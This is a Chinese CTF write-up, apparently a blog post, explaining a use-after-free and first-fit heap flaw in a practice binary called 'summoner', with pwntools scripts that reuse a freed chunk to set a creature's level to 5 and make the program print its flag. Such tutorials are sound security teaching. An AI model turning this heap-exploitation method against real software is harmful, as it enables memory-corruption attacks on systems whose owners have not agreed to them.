Pwn-Glibc堆利用-FirstFit&UAF浅析

glibc 2.31 pwn——house of pig原题分析与示例程序 house of pig题目解析及演示程序 阅读详情

0x1

最近忙于堆的学习,在师傅们的指导下,对堆有了一知半解,找了一个网上的UAF题目来练手。
题目链接:https://www.bilibili.com/video/BV1iE411H7cZ
(再次感谢大佬发布的教学视频)
先检查一下程序:
在这里插入图片描述
发现保护全开。64位,反编译之后发现:
在这里插入图片描述
在main函数中看到后门函数cat flag,但是条件是变量值为5。
运行一下:
在这里插入图片描述
大概意思是程序可以生成一个creature【堆】,里面包含姓名和等级两个参数数据,并且可以通过输入命令来改变这些变量:

After you climb over the snow mountain, you encounter an evil summoner!

He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!

What's your plan for now???

Available plans:
	show - show your creature and its level
	summon [name] - summon a creature called [name]
	level-up [level] - level up your creature (below Level 5)
	strike - STRIKE the evil summoner's creature!!!
	release - release your creature
	quit - give up and die

然后只要达到level5,就能cat flag。
但是程序本身不允许level-up 5指令生效。
**

0x2

漏洞原因:在release指令中,如果释放掉一个仅仅释放堆中的内容,而不是释放堆指针,则会造成只释放了堆数据,我们还可以通过堆溢出复写该指针指向的数据,从而覆盖恶意代码,达到getshell。
在这里插入图片描述

free之后,只把原来的内容置null,没有将原指针置null!
free执行之后,数据还位于原来的地方,没有改变

(UAF不区分bins,不管在fastbin还是unsortedbin,都会产生use after free现象)
思路:
1.将堆中level等级变量置为5
2.将原来的结构体指针申请回来
首先,申请一个堆块,name为aaaa:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)

sla('> ','summon aaaa')
dbg()

观察堆空间变化:
在这里插入图片描述
在这里插入图片描述
可以发现:在0x5624b5d81040处出现注入的0x61616161,即该位置存放name值。
再次编写脚本,发送level等级的创建:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaa')
sla('> ','level-up 4')
#
dbg()

发现在top_chunk中存放着name的地址以及等级的内容,我们可以推断该程序结构体构成:

struct{
	char *name;
	int level;
}

在这里插入图片描述
从而,我们可以通过堆溢出,修改等级,修改level等级,从而实现getshell。

具体实现:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
#
dbg()

在这里插入图片描述
从而,也能看出:即使free掉了*ptr,但是只free了name值,level等级依然存在于堆中。
我们再次申请一个堆块,可以发现,由于UAF机制,释放掉的堆会直接被再次当作一个新堆块被申请,实现如下payload:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
#sla('> ','strike')

dbg()

在这里插入图片描述
这里我们可以发现:等级被覆盖成了level-5.
输入strike指令,即可满足题目*(ptr+2)>=5,实现getshell:

from pwn import *

p=process('./summoner')
def dbg():
    gdb.attach(p)
    pause()

sla=lambda x,y:p.sendlineafter(x,y)
sla('> ','summon aaaaaaaa'+'\x05')
sla('> ','release')
sla('> ','summon bb')
sla('> ','strike')

dbg()

运行结果:
这里我本地没有建这个flag文件,师傅们将就看,,但是确实执行了system("/bin/cat /pwn/flag")。
在这里插入图片描述

pwn题切换不同glibc版本实测 做pwn题目到了堆题目就是和glibc打交道,所以系统默认的一个libc肯定是满足不了各种题目类型的需求的,刚开始学习pwn时就看别人文章说最好一起下载ubuntu16\ubuntu18没想明白是为什么,直到接触了堆题,哦~原来如此,不过因为我是将ubuntu20安装在了物理机上,所以就想办法给整合在一起了 看了网上大佬们的一些玩法,大概流程就是自己下载libc源码进行编译然后修改程序so文件路径,听起来简单,琢磨了一晚上终究还是没有编译出来,后来还是用下载源码+通过patchelf进行替换,试了下好像确实 阅读详情

相关推荐

从pwn-summoner理解first fit

本文主要为观看bili53448916889师傅讲解视频的学习笔记。 首先拖进ida中进行代码审计。以下是main函数的伪代码 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { const char *v3; // rsi char **v5; // [rsp+0h] [rbp-240h] unsigned int level; // [rsp+1Ch] [rbp-224h] void **v7; // [rsp+20h]

weixin_44864859的博客 428

ctf-pwn-patchelf-用题目给的libc运行二进制文件

用给定的libc进行调试 首先根据题目给你的libc,查找相应版本的连接器 然后去glibc-all-in-one中下载相应的ld文件 glibc-all-in-one安装步骤 https://github.com/matrix1001/glibc-all-in-one 使用 查看各unbuntu版本的glibc ./update_list cat list 下载对应版本的glibc ./download 2.27-3ubuntu1_amd64 下载好的glibc在l

huzai9527的博客 6134

【pwn学习】堆溢出(二)- First Fit

glibc堆管理中的First Fit机制

Morphy_Amo的博客 1294

攻防世界babystack(pwn1)——glibc_all_in_one初体验

攻防世界babystack(pwn1)——glibc_all_in_one初体验 文章目录攻防世界babystack(pwn1)——glibc_all_in_one初体验引入初步分析1、checksec2、伪代码分析3、栈分析解题思路1、泄露canary3、get shellexp本地libc运行尝试尝试1尝试2尝试3尝试4(重大进展) 引入 ​ 好久没做pwn题了,找了道简单的ret2libc做做,顺便尝试解决一些历史遗留问题 (其实就是让pwn题使用本地的libc的问题,省流:有突破性进展但没有完全解决

weixin_48066554的博客 1930

glibc2.31下的新double free手法/字节跳动pwn题gun题解

回顾double free手法 在glibc2.27之前,主要是fastbin double free: fastbin在free时只会检查现在释放的chunk,是不是开头的chunk,因此可以通过free(C1), free(C2), free(C1)的手法绕过 并在在fastbin取出时,会检查size字段是不是属于这个fastbin,因此往往需要伪造一个size glibc2.27~glibc2.28,主要是tcache double free 相较于fastbin double fr

chennbnbnb的博客 5008

Hierarchical-Localization 环境配置与依赖管理全攻略

本文提供了Hierarchical-Localization(hloc)视觉定位工具箱从零开始的环境配置与依赖管理全攻略。针对Windows、Ubuntu和macOS三大操作系统,详细解析了Python版本选择、PyTorch与CUDA版本匹配、pycolmap版本锁定等核心依赖的安装步骤,并汇总了权重文件格式、NumPy版本、路径配置等常见问题的排查与解决方案,旨在帮助用户高效搭建稳定的hloc开发环境。

weixin_29066781的博客 335

pwn 中堆的简单理解

Glibc 上的堆堆是每个程序被分配到的一块内存区域,和栈主要区别是 堆内存是动态分配,程序可以从 heap 段请求一块内存或释放一块内存同时,堆是全局的,在程序的任意位置都可以访问到堆,并不一定要调用 malloc 函数访问。这是因为C语言使用指针指向动态内存,但同时指针也带来了一定的开销。指针也很危险,而且指针真的很难啊……堆使用两个函数来原理内存,分别是 brk(),mmap()注意,申请内存时, Linux 内核只会先分配一段虚拟内存,真正使用时才会映射到物理内存上去。

evolve_b7的博客 362

Docker+vLLM内网离线部署Qwen3 流程

本文介绍了在CentOS 7系统下进行VLLM容器化部署Qwen3-32B大模型的内网离线方案。首先需准备Nvidia显卡驱动、CUDA 12.4和Docker环境。通过联网机器拉取vllm/vllm-openai镜像并导入内网服务器,同时从魔塔社区下载模型文件。部署时使用docker run命令启动容器,配置了GPU资源、内存共享、端口映射等参数,特别指定了模型路径、并行计算、内存利用率等关键参数。该方案实现了大模型在内网环境的安全高效部署,适用于需要离线运行的AI推理场景。

qq_42881308的博客 1036

PWN_glibc堆管理机制及内存结构(入门篇)

CTF堆利用基础

weixin_57140753的博客 611

vscode中创建vue快捷键

1.安装Vetur插件(扩展里面直接搜) 2.vscode 界面里面左上角选则 文件=> 首选项=> 用户代码片段=>新建全局代码片段=>在输入框中新建名称为vue.json 3.删除里面的注释,当然你也可以留着,把下面的代码粘贴进去! { // Place your 全局 snippets here. Each snippet is defined under a snippet name and has a scope, prefix, body and // descri

Leon_940002463的博客 3207

MATLAB锂离子电池伪二维(P2D)模型实现

锂离子电池伪二维(P2D)模型的MATLAB实现。该模型基于Newman等人提出的经典电化学模型,考虑了固液相扩散、电荷守恒和电化学反应动力学。

hie98894的博客 1930

[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

查看保护查看ida大致就是只能创建0x60大小的堆块,并且uaf只能利用一次。

2301_79326813的博客 1330

VS配置RTKLIB(卫星定位开源代码)环境

@RTKlib代码调试教程-Visual Studio 2019 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。 ##RTKLIB-rtklib_2.4.3 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 @RTKlib代码调试教程-Visual Studio 2019 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技

qq_42209977的博客 4486

★pwn 更改pwn题libc保姆级教程★

现在市面上有很多关于改libc的教程,但是基本有以下几个问题:没有符号表、错误、过时、繁琐、高版本不适用。于是我找了一种最简单并且全libc通用的方法。现分享如下。

YX-hueimie 5931

ORCAD原理图关联封装时出现ERROR(ORCIS-6245)、ERROR(ORCIS-6013)问题

1、当你进行如下操作时: 系统先是提示你出现ERROR(ORCIS-6245)然后再确定后再出现ERROR(ORCIS-6013)问题 是由于你的数据库的路径不对。 具体操作方法如下:1、先找到你的CAPTURE.INI文件。 2、用记事本打开CAPTURE.INI。找到下图路径 3、在你的Orcad capture CIS原理图软件中点击 Options------>CIS con...

weixin_42304393的博客 2万+

Claude Code 源码一夜流出:会看热闹的人很多,会读源码的人很少

摘要:Claude Code源码意外泄露后,作者分享了高效的源码学习方法:1)Fork仓库保存代码;2)使用Qoder的Repo Wiki功能生成结构化文档和UML图;3)基于Wiki创建可复用的Skill。这种方法比直接让AI总结代码更系统深入,并推荐了可视化学习项目辅助理解。文章强调实践的重要性,提供了具体工具和操作指南。

720

PWN知识点整理(2)UAF

UAF全称use after,其内容如名称,在free后再进行利用,UAF是堆结构漏洞的重要利用方式。

qq_52469954的博客 664

微信小程序转发功能异常报错 由于小程序违规分享功能暂时无法使用的解决办法

小程序右上角转发功能被封,不代表你违规了,而可能是你没认证、没备案!很多功能都是“先合规、后开发”,踩坑就晚了,别像我一样绕了三圈才发现问题。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 2610

pwn入门(堆的基础知识)

在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。对于不同的应用来说,由于内存的需求各不相同等特性,因此目前堆的实现有很多种,具体如下目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器:ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。(glibc是最重要的堆管理器)

这里记录我的学习轨迹、漏洞分析、CTF复盘和一些偏门技巧。 偶尔翻翻协议,常常调调漏洞,目标是在0和1之间找到属于自己的战斗力。 1517

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

first_fit&UAF(heap)

first_fit&UAFfirst_fit原理实例分析原理UAF实例 first_fit原理 堆管理器对free的chunk未完全回收,当再次调用malloc时,会分配先前已经有内容的chunk。 大致流程如下图,但需要避免一些对管理器的检测机制(在一定限制条件下) 实例分析原理 下面看个demo调试,验证上面情况。 #include<stdio.h> #include<stdlib.h> #include<string.h> int main() {

个人笔记 356

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

pwn学习-ctfwiki-UAF

源码: #include <stdio.h> #include <stdlib.h> #include <unistd.h> struct note { void (*printnote)(); char *content; }; struct note *notelist[5]; int count = 0; void print_note_co...

WocW的博客 2515

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

linux kernel pwn学习之UAF

Linux Kernel UAF 与用户态下的glibc差不多,都是对已经释放的空间未申请就直接使用,内核的UAF往往是出现在多线程多进程多文件的情况下。即,假如某个用户程序对用一个内核驱动文件打开了两次,有两个文件描述符,它们都指向了该驱动,又因为是在同一个程序里,所以当我们释放掉其中一个文件描述符后,还可以使用另一个文件描述符来操控驱动。 为了加深理解,我们就以一题为例 ciscn201...

seaaseesa的博客 1598

how2heap注意点总结-上

1.chunk的申请机制,在申请chunk的时候满足first-fit算法(从unsorted bin中遍历遇到第一个比需要chunk大的chunk切割,然后遍历unsorted bin链对应chunk放入对应位置) (所需chunk大小大于small bin或者small bin中没有找到恰好满足的chunk大小,或者fastbin中没有找到合适的chunk大小会引起fast bins遍历合并放...

九层台 1092

pwn with glibc heap(堆利用手册)

前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅。 ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒。 简单源码分析 ​ 本节只是简单跟读了一下 malloc 和 free 的源码, 说的比较简单,很多细节还是要自己拿一份源代码来读。 堆中的一些数据结构 堆管理结构 struct malloc_state { mutex_t m...

weixin_30542079的博客 838

Pwn基础知识笔记

http://www.jianshu.com/p/6e528b33e37a pwntools简单语法 作为最好用的pwn工具,简单记一下用法: 连接:本地process()、远程remote( , );对于remote函数可以接url并且指定端口 数据处理:主要是对整数进行打包:p32、p64是打包为二进制,u32、u64是解包为二进制 IO模块:这个比较容易跟zio搞混,记住zio是re

3569 4922

libc和glibc 关系 简单区别

简单快速地捋捋两者的异同。 glibc和libc都是Linux的C函数库。 libc是Linux原来的标准C库。而glibc(GUN C Library)后来取代了libc libc (ANSI C) ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数。这个库可以根据头文件划分为 15 个部分,其中包括: <ctype.h>:包含用来测试某个特征字符的函...

爱党人士 3089
上一篇: 浅谈rop-ret2libc原理以及解答-以攻防世界level3为例
下一篇: 基于arpspoof的ARP欺骗实战实验
p0int3r
博客等级 码龄7年 11粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值